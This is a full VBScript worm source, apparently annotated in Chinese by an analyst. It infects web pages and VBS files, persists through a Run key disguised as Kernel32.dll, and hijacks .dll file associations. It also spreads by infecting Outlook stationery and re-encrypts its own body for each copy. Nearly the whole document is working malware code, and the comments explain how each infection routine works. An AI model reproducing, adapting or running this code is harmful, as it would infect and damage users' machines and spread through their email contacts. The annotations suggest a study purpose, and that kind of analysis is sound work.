<% Dim InWhere, HtmlText, VbsText, DegreeSign, AppleObject, FSO, WsShell, WinPath, SubE, FinalyDisk Sub KJ_start()     ' 初始化变量     KJSetDim()     ' 初始化环境     KJCreateMilieu()     ' 感染本地或者共享上与html所在目录     KJLikeIt()     ' 通过vbs感染Outlook邮件模板     KJCreateMail()     ' 进行病毒传播     KJPropagate() End Sub ' 函数：KJAppendTo(FilePath,TypeStr) ' 功能：向指定类型的指定文件追加病毒 ' 参数： ' FilePath 指定文件路径 ' TypeStr 指定类型 Function KJAppendTo(FilePath, TypeStr)     On Error Resume Next     ' 以只读方式打开指定文件     Set ReadTemp = FSO.OpenTextFile(FilePath, 1)     ' 将文件内容读入到TmpStr变量中     TmpStr = ReadTemp.ReadAll     ' 判断文件中是否存在"KJ_start()"字符串，若存在说明已经感染，退出函数；     ' 若文件长度小于1，也退出函数。     If InStr(TmpStr, "KJ_start()") <> 0 Or Len(TmpStr) < 1 Then         ReadTemp.Close         Exit Function     End If     ' 如果传过来的类型是"htt"     ' 在文件头加上调用页面的时候加载KJ_start()函数;     ' 在文件尾追加html版本的加密病毒体。     ' 如果是"html"     ' 在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;     ' 如果是"vbs"     ' 在文件尾追加vbs版本的病毒体     If TypeStr = "htt" Then         ReadTemp.Close         Set FileTemp = FSO.OpenTextFile(FilePath, 2)         FileTemp.Write "<" & "BODY onload="""         & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText         FileTemp.Close         Set FAttrib = FSO.GetFile(FilePath)         FAttrib.Attributes = 34     Else         ReadTemp.Close         Set FileTemp = FSO.OpenTextFile(FilePath, 8)         If TypeStr = "html" Then             FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<"             & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText         ElseIf TypeStr = "vbs" Then             FileTemp.Write vbCrLf & VbsText         End If         FileTemp.Close     End If End Function ' 函数：KJChangeSub(CurrentString,LastIndexChar) ' 功能：改变子目录以及盘符 ' 参数： ' CurrentString 当前目录 ' LastIndexChar 上一级目录在当前路径中的位置 Function KJChangeSub(CurrentString, LastIndexChar)     ' 判断是否是根目录     If LastIndexChar = 0 Then         ' 如果是根目录         ' 如果是C:\，返回FinalyDisk盘，并将SubE置为0，         ' 如果不是C:\，返回将当前盘符递减1，并将SubE置为0         If Left(LCase(CurrentString), 1) = < LCase("c") Then             KJChangeSub = FinalyDisk & ":\"             SubE = 0         Else             KJChangeSub = Chr(Asc(Left(LCase(CurrentString), 1)) - 1) & ":\"             SubE = 0         End If     Else         ' 如果不是根目录，则返回上一级目录名称         KJChangeSub = Mid(CurrentString, 1, LastIndexChar)     End If End Function ' 函数：KJCreateMail() ' 功能：感染邮件部分 Function KJCreateMail()     On Error Resume Next     ' 如果当前执行文件是"html"的，就退出函数     If InWhere = "html" Then         Exit Function     End If     ' 取系统盘的空白页的路径     ShareFile = Left(WinPath, 3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm"     ' 如果存在这个文件，就向其追加html的病毒体     ' 否则生成含有病毒体的这个文件     If (FSO.FileExists(ShareFile)) Then         Call KJAppendTo(ShareFile, "html")     Else         Set FileTemp = FSO.OpenTextFile(ShareFile, 2, true)         FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText         FileTemp.Close     End If     ' 取得当前用户的ID和OutLook的版本     DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID")     OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer")     ' 激活信纸功能，并感染所有信纸     WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Compose Use Stationery", 1, "REG_DWORD"     Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Stationery Name", ShareFile)     Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion, 1) &".0\Mail\Wide Stationery Name", ShareFile)     WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"     Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")     Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360", "blank")     WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference", 131072, "REG_DWORD"     Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery", "blank")     KJummageFolder(Left(WinPath, 3) & "Program Files\Common Files\Microsoft Shared\Stationery") End Function ' 函数:KJCreateMilieu() ' 功能：创建系统环境 Function KJCreateMilieu()     On Error Resume Next     TempPath = ""     ' 判断操作系统是NT/2000还是9X     If Not(FSO.FileExists(WinPath & "WScript.exe")) Then         TempPath = "system32\"     End If     ' 为了文件名起到迷惑性，并且不会与系统文件冲突。     ' 如果是NT/2000则启动文件为system\Kernel32.dll     ' 如果是9x启动文件则为system\Kernel.dll     If TempPath = "system32\" Then         StartUpFile = WinPath & "SYSTEM\Kernel32.dll"     Else         StartUpFile = WinPath & "SYSTEM\Kernel.dll"     End If     ' 添加Run值，添加刚才生成的启动文件路径     WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32", StartUpFile     ' 拷贝前期备份的文件到原来的目录     FSO.CopyFile WinPath & "web\kjwall.gif", WinPath & "web\Folder.htt"     FSO.CopyFile WinPath & "system32\kjwall.gif", WinPath & "system32\desktop.ini"     ' 向%windir%\web\Folder.htt追加病毒体     Call KJAppendTo(WinPath & "web\Folder.htt", "htt")     ' 改变dll的MIME头     ' 改变dll的默认图标     ' 改变dll的打开方式     WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\", "dllfile"     WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type", "application/x-msdownload"     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\", WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\", "VBScript"     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\", WinPath & TempPath & "WScript.exe ""%1"" %*"     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\", "{60254CA5-953B-11CF-8C96-00AA00B8708C}"     WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\", "{85131631-480C-11D2-B1F9-00C04F86C324}"     ' 启动时加载的病毒文件中写入病毒体     Set FileTemp = FSO.OpenTextFile(StartUpFile, 2, true)     FileTemp.Write VbsText     FileTemp.Close End Function ' 函数：KJLikeIt() ' 功能：针对html文件进行处理，如果访问的是本地的或者共享上的文件，将感染这个目录 Function KJLikeIt()     ' 如果当前执行文件不是"html"的就退出程序     If InWhere <> "html" Then         Exit Function     End If     ' 取得文档当前路径     ThisLocation = document.location     ' 如果是本地或网上共享文件     If Left(ThisLocation, 4) = "file" Then         ThisLocation = Mid(ThisLocation, 9)         ' 如果这个文件扩展名不为空，在ThisLocation中保存它的路径         If FSO.GetExtensionName(ThisLocation) <> "" Then             ThisLocation = Left(ThisLocation, Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation)))         End If         ' 如果ThisLocation的长度大于3就尾追一个"\"         If Len(ThisLocation) > 3 Then             ThisLocation = ThisLocation & "\"         End If         ' 感染这个目录         KJummageFolder(ThisLocation)     End If End Function ' 函数：KJMailReg(RegStr,FileName) ' 功能：如果注册表指定键值不存在，则向指定位置写入指定文件名 ' 参数： ' RegStr 注册表指定键值 ' FileName 指定文件名 Function KJMailReg(RegStr, FileName)     On Error Resume Next     ' 如果注册表指定键值不存在，则向指定位置写入指定文件名     RegTempStr = WsShell.RegRead(RegStr)     If RegTempStr = "" Then         WsShell.RegWrite RegStr, FileName     End If End Function ' 函数：KJOboSub(CurrentString) ' 功能：遍历并返回目录路径 ' 参数： ' CurrentString 当前目录 Function KJOboSub(CurrentString)     SubE = 0     TestOut = 0     Do While True         TestOut = TestOut + 1         If TestOut > 28 Then             CurrentString = FinalyDisk & ":\"             Exit Do         End If         On Error Resume Next         ' 取得当前目录的所有子目录，并且放到字典中         Set ThisFolder = FSO.GetFolder(CurrentString)         Set DicSub = CreateObject("Scripting.Dictionary")         Set Folders = ThisFolder.SubFolders         FolderCount = 0         For Each TempFolder in Folders             FolderCount = FolderCount + 1             DicSub.Add FolderCount, TempFolder.Name         Next         ' 如果没有子目录了，就调用KJChangeSub返回上一级目录或者更换盘符，并将SubE置1         If DicSub.Count = 0 Then             LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)             SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)             CurrentString = KJChangeSub(CurrentString, LastIndexChar)             SubE = 1         Else             ' 如果存在子目录             ' 如果SubE为0，则将CurrentString变为它的第1个子目录             If SubE = 0 Then                 CurrentString = CurrentString & DicSub.Item(1) & "\"                 Exit Do             Else                 ' 如果SubE为1，继续遍历子目录，并将下一个子目录返回                 j = 0                 For j = 1 To FolderCount                     If LCase(SubString) = LCase(DicSub.Item(j)) Then                         If j < FolderCount Then                             CurrentString = CurrentString & DicSub.Item(j + 1) & "\"                             Exit Do                         End If                     End If                 Next                 LastIndexChar = InstrRev(CurrentString, "\", Len(CurrentString) -1)                 SubString = Mid(CurrentString, LastIndexChar + 1, Len(CurrentString) - LastIndexChar -1)                 CurrentString = KJChangeSub(CurrentString, LastIndexChar)             End If         End If     Loop     KJOboSub = CurrentString End Function ' 函数：KJPropagate() ' 功能：病毒传播 Function KJPropagate()     On Error Resume Next     RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"     DiskDegree = WsShell.RegRead(RegPathvalue)     ' 如果不存在Degree这个键值，DiskDegree则为FinalyDisk盘     If DiskDegree = "" Then         DiskDegree = FinalyDisk & ":\"     End If     ' 继DiskDegree置后感染5个目录     For i = 1 To 5         DiskDegree = KJOboSub(DiskDegree)         KJummageFolder(DiskDegree)     Next     ' 将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中     WsShell.RegWrite RegPathvalue, DiskDegree End Function ' 函数：KJummageFolder(PathName) ' 功能：感染指定目录 ' 参数： ' PathName 指定目录 Function KJummageFolder(PathName)     On Error Resume Next     ' 取得目录中的所有文件集     Set FolderName = FSO.GetFolder(PathName)     Set ThisFiles = FolderName.Files     HttExists = 0     For Each ThisFile In ThisFiles         FileExt = UCase(FSO.GetExtensionName(ThisFile.Path))         ' 判断扩展名         ' 若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体         ' 若是VBS则向文件中追加VBS版的病毒体         ' 若是HTT,则标志为已经存在HTT了         If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then             Call KJAppendTo(ThisFile.Path, "html")         ElseIf FileExt = "VBS" Then             Call KJAppendTo(ThisFile.Path, "vbs")         ElseIf FileExt = "HTT" Then             HttExists = 1         End If     Next     ' 如果所给的路径是桌面，则标志为已经存在HTT了     If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then         HttExists = 1     End If     ' 如果不存在HTT     ' 向目录中追加病毒体     If HttExists = 0 Then         FSO.CopyFile WinPath & "system32\desktop.ini", PathName         FSO.CopyFile WinPath & "web\Folder.htt", PathName     End If End Function ' 函数KJSetDim() ' 定义FSO,WsShell对象 ' 取得最后一个可用磁盘卷标 ' 生成传染用的加密字串 ' 备份系统中的web\folder.htt和system32\desktop.ini Function KJSetDim()     On Error Resume Next     Err.Clear     ' 测试当前执行文件是html还是vbs     TestIt = WScript.ScriptFullname     If Err Then         InWhere = "html"     Else         InWhere = "vbs"     End If     ' 创建文件访问对象和Shell对象     If InWhere = "vbs" Then         Set FSO = CreateObject("Scripting.FileSystemObject")         Set WsShell = CreateObject("WScript.Shell")     Else         Set AppleObject = document.applets("KJ_guest")         AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")         AppleObject.createInstance()         Set WsShell = AppleObject.GetObject()         AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")         AppleObject.createInstance()         Set FSO = AppleObject.GetObject()     End If     Set DiskObject = FSO.Drives     ' 判断磁盘类型     '     ' 0: Unknown     ' 1: Removable     ' 2: Fixed     ' 3: Network     ' 4: CD-ROM     ' 5: RAM Disk     ' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵，如果C:是RAMDISK会怎么样？     For Each DiskTemp In DiskObject         If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then             Exit For         End If         FinalyDisk = DiskTemp.DriveLetter     Next     ' 此前的这段病毒体已经解密，并且存放在ThisText中，现在为了传播，需要对它进行再加密。     ' 加密算法     Dim OtherArr(3)     Randomize     ' 随机生成4个算子     For i = 0 To 3         OtherArr(i) = Int((9 * Rnd))     Next     TempString = ""     For i = 1 To Len(ThisText)         TempNum = Asc(Mid(ThisText, i, 1))         '对回车、换行(0x0D,0x0A)做特别的处理         If TempNum = 13 Then             TempNum = 28         ElseIf TempNum = 10 Then             TempNum = 29         End If         '很简单的加密处理，每个字符减去相应的算子，那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。         TempChar = Chr(TempNum - OtherArr(i Mod 4))         If TempChar = Chr(34) Then             TempChar = Chr(18)         End If         TempString = TempString & TempChar     Next     ' 含有解密算法的字串     UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"     ' 将加密好的病毒体复制给变量 ThisText     ThisText = "ExeString = """ & TempString & """"     ' 生成html感染用的脚本     HtmlText = "<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"     ' 生成vbs感染用的脚本     VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"     ' 取得Windows目录     ' GetSpecialFolder(n)     ' 0: WindowsFolder     ' 1: SystemFolder     ' 2: TemporaryFolder     ' 如果系统目录存在web\Folder.htt和system32\desktop.ini，则用kjwall.gif文件名备份它们。     WinPath = FSO.GetSpecialFolder(0) & "\"     If (FSO.FileExists(WinPath & "web\Folder.htt")) Then         FSO.CopyFile WinPath & "web\Folder.htt", WinPath & "web\kjwall.gif"     End If     If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then         FSO.CopyFile WinPath & "system32\desktop.ini", WinPath & "system32\kjwall.gif"     End If End Function %>